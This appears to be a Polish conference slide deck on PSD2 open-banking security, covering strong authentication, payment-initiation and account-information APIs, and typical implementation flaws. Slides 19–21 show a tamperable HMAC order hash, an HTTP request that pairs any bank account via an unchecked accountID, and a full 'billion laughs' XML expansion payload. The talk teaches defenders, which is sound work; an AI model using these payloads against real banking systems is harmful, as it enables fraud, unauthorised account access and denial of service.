Czy S w PSD2 znaczy Secure?
•
0 likes•291 views
Rok 2019 może dużo zmienić w świecie bankowości, fintechów, e-commerce i płatności elektronicznych, również w zakresie bezpieczeństwa. W tym roku wejdą w życie regulacje dyrektywy PSD2 dotyczące interfejsów API które banki muszą udostępnić dla podmiotów trzecich oraz silnego, wieloskładnikowego uwierzytelniania i autoryzowania operacji finansowych. Jak to wpłynie na bezpieczeństwo usług bankowych i płatności elektronicznych? Tak jak przy każdej zmianie, wiele zależy od szczegółów. Przede wszystkim od sposobu implementacji interfejsów API i funkcji uwierzytelniania wieloskładnikowego. Testując bezpieczeństwo nowych aplikacji finansowych ekspert miał okazje zaobserwować niektóre trendy i zebrać informacje o typowych błędach popełnianych podczas implementacji. Podczas prezentacji prelegent przyjrzy się technicznym wyzwaniom związanym z bezpieczeństwem w kontekście PSD2. Omówione zostaną niektóre podatności spotykane w funkcjonalności uwierzytelniania dwuskładnikowego (2FA) i autoryzacji transakcji (w tym w zastosowaniach biometrii) oraz w interfejsach API do usług bankowych. Przedstawione zostaną również dobre praktyki odnośnie implementacji 2FA i interfejsów PIS/AIS.
Report
Share
Czy S w PSD2 znaczy Secure?
- 1. Czy S w PSD2 znaczy Secure? Łukasz Bobrek
- 2. #whoami Łukasz Bobrek Starszy specjalista ds. Bezpieczeństwa Bugbounty Research
- 3. Agenda 1. Open Banking i PSD2 2. PSD2 – wpływ na bezpieczeństwa 3. PSD2 – potencjalne błędy w implementacji 4. Podsumowanie
- 6. PSD2 - Payment Services Directive Co zostanie wprowadzone: SCA – Strong Customer Authentication PIS – Payment Initiation Service AIS – Account Information Service TPP – Third Party Providers Kogo dotyczy: Obowiązkowe dla wszystkich „Payment Service Providers”
- 7. PSD2 – oś czasu 25.11.2015 20.06.2018 14.03.2019 14.09.2019 Przyjęcie dyrektywy nr 2015/2366 przez parlament UE Przyjęcie RTS przez parlament UE Przyjęcie ustawy o usługach płatniczych w parlamencie PL 20.03.2018 Interfejsy API muszą być gotowe do testów przez TPP Termin wdrożenia produkcyjnego interfejsów API
- 9. RTS – Regulatory Technical Standard https://polishapi.org/
- 10. Strong Customer Authentication (SCA) Weryfikacja tożsamości – min. 2/3 z poniższych: – wiedza (coś co wiesz), – posiadanie (coś co posiadasz) – cecha (coś czym jesteś) zarówno dla uwierzytelnienia jak i autoryzacji transakcji
- 11. Payment Initiation Service (PIS) Icons made by Madebyoliver and Freepik from www.flaticon.com 11 Sprzedawca PISP – Bank / Fintech Bank Użytkownika Bank Sprzedawcy PIS API Użytkownik scraping
- 13. Account Information Service (AIS) Icons made by Madebyoliver and Freepik from www.flaticon.com 13 AISP – Bank / Fintech AIS API scraping
- 14. AIS – scraping
- 15. Third Party Providers (TPP) • Kim są? • Czy możemy im ufać? • Czy są tak bezpieczni jak Banki?
- 17. Implementacja SCA / PIS / AIS Poważne konsekwencje! • Podatności w płatnościach • Nieautoryzowany dostęp do danych bankowych • Ominięcie uwierzytelnienia
- 18. Błąd w implementacji #1 – SCA
- 19. Błąd w implementacji #2 – PIS 1. Sprzedawca dodaje bibliotekę dostarczoną przez TPP do swojego sklepu online. 2. Biblioteka po wyborze sposobu płatności generuje hash identyfikujący transakcje : tpp.pl/?hash = 32528hjdhr8923u4… 3. Hash jest generowany ze sklejonych ze sobą parametrów transakcji oraz klucza prywatnego sklepu quantity=1 unit_price=4300 HMAC(“PLN31337iPhoneXS143009459941c 22”) HMAC(currency + merchantID + product_name + product[0].quantity + product[0].unit_price + private_key) quantity=14 unit_price=300 HMAC(“PLN31337iPhoneXS143009459941c 22”) Source: http://codel10n.com/how-to-hack-payu-buy-10x-more-same-price/ Zamówienie: 14 x 300 = 4200 PLN const
- 20. Błąd w implementacji #3 – AIS Parowanie konta uzytkownika bankowości z aplikacją TPP POST /rest/v1/context/844763/open/api/init/prepSign HTTP/1.1 {"$objectType":"OpenApiParameters","accountID":95186089,"appType":"web","sy stemType":"ALL"} API akceptuje dowolną wartość parametru accountID Użytkownik może sparować swoją aplikację TPP z dowolnym rachunkiem bankowym!
- 21. Błąd w implementacji #4 – Technologia POST /getToken/ HTTP/1.1 Accept-Encoding: gzip, deflate (...) <?xml version="1.0" encoding="iso-8859-2"?> <getToken-request> <head> <initiator>WEB</initiator> <date>2019-01-27T11:04:12Z</date> <id area=‘XXXXXXXX' seq='8' tstamp='2009-08- 27T11:04:12Z'/> <channel>WEB</channel> </head> <auth> <operator>FINTECH</operator> <client type='BANK'>XXXXXXXX</client> </auth> <request> <generic-token-create> (...) </generic-token-create> </request> </ccmf-request> <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
- 22. Podsumowanie • 2FA dla wszystkich (z kilkoma wyjątkami) • Brak “scrapingu” (z kilkoma wyjątkami) • Nowe interfejsy API (nowe możliwości == nowe zagrożenia) • Wykrywanie nadużyć będzie trudniejsze (…do czasu) • Więcej podmiotów będzie mogło zarządzać danymi płatniczymi (ale czy powinniśmy im ufać?) • Więcej podmiotów będzie mogło inicjalizować płatności (nowe scenariusze ataków)
- 23. Podsumowanie • Błędy w implementacji -> poważne konsekwencje • Duże zmiany -> dużo niewiadomych • btw. S w PSD2 nie znaczy Secure ☺
- 24. Dziękuje za uwagę! • Aplikacje mobilne i jak je złamać? • Krótka historia o phishingu • Ciekawe przypadki podatności XXE • Krk Analytica – stadium wycieku danych z chmury AWS